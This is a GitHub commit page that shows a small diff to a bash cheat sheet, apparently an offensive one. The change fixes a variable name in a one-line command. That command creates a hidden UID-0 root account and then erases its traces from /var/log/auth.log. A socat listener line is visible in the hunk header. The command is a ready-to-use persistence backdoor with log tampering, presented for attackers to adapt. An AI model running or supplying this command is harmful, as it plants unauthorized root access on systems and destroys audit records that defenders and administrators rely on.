We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent c269df3 commit 030e203Copy full SHA for 030e203
scripting/bash.md
@@ -130,7 +130,7 @@ socat readline TCP-LISTEN:1234
130
**One line root useradd**
131
It creates a new root user. You have to change some parameters.
132
```bash
133
-USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
+USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
134
```
135
136
Credits
0 commit comments